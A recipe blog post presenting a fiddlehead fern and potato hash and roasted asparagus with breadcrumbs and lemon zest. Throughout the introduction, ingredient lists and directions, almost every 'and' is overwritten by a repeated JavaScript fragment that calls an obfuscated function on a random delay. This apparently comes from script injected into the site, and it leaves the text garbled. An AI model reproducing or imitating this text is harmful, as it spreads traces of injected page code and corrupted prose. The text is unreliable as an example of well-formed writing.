Simple Spring Greens

The simpasparagus-breadcrumbs-lemon-zest-mbd107534_vertlicity of these spring recipes offer the perfect combination of easy-to-make andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and super deliciousness while perfectly highlighting, just as nature intended, the crisp earthy taste that asparagus andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fiddlehead ferns have to offer.

With the change of season andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a new abundance of produce at the farmers market this week – I just couldn’t resist both of these recipes. The first, Fiddlehead Fern And Potato Hash is a splendid marriage of winter heartiness from the potatoes combined with a crisp lightness from the ferns. Fiddlehead ferns are quite a delight, not only are they great for adding a touch of whimsy to your plate but they’re packed with vitamin A andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and C, which is good for our eye health as well as boosting our immune system.  The flavor is somewhere between green beans andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asparagus, so I’m sure they’ll appease anyone’s palate.

The other recipe, Asparagus With Breadcrumbs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lemon Zest says it all, this extremely simple, light, healthy, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fresh dish is all that spring standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands for. There’s nothing better than a crisp earthy bite from one of these green spears, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the health benefits to these pretty spears should not be overlooked. Asparagus are rich in vitamin K, which is important for bone health, as well as folate, which helps maintain a healthy cardiovascular system.

Fiddlehead Fern And Potato Hash

fiddlehead-fern-potato-hash-mbd107534_vert

This makes for a great side dish or a standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and alone meal when paired with a poached egg.

  • Coarse salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ground black pepper
  • 1 1/2 pounds small potatoes, scrubbed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and halved
  • 1/2 pound fiddlehead ferns, cleaned andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and trimmed
  • 2 tablespoons extra-virgin olive oil
  • 1 shallot, thinly sliced

Directions

  1. In a medium pot of salted water, bring potatoes to a boil andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cook until knife-tender, about 8 minutes. Add fiddleheads andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cook until bright green, about 1 minute. Drain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and set aside.
  2. Heat oil in a medium skillet over medium-high heat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cook shallot until golden, about 2 minutes. Add potatoes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fiddleheads andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cook, stirring, until golden brown, about 4 minutes. Season with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pepper.

 

Asparagus With Breadcrumbs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Lemon Zest

  • 1 bunch asparagus, trimmed (about 1 pound)
  • 1 tablespoon extra-virgin olive oil
  • Coarse salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ground black pepper
  • 1 tablespoon unsalted butter
  • 1/2 cup coarse breadcrumbs (from 2 slices whole-wheat bread pulsed in a food processor)
  • Grated zest of 1 lemon

Directions

  1. Preheat oven to 425 degrees. On a rimmed baking sheet, drizzle asparagus with oil, turning to coat, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and season with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pepper. Roast, shaking sheet once, until asparagus is crisp-tender andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tips are golden, 12 to 14 minutes.
  2. Meanwhile, warm butter in a skillet over medium heat. Add breadcrumbs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stir until toasted. Season with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stir in lemon zest. To serve, top asparagus with breadcrumbs.

 

For more healthy spring recipes visit Whole Living.

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One Response to Simple Spring Greens

  1. Pingback: Fiddlehead Time! | Wild Weed Wisdom

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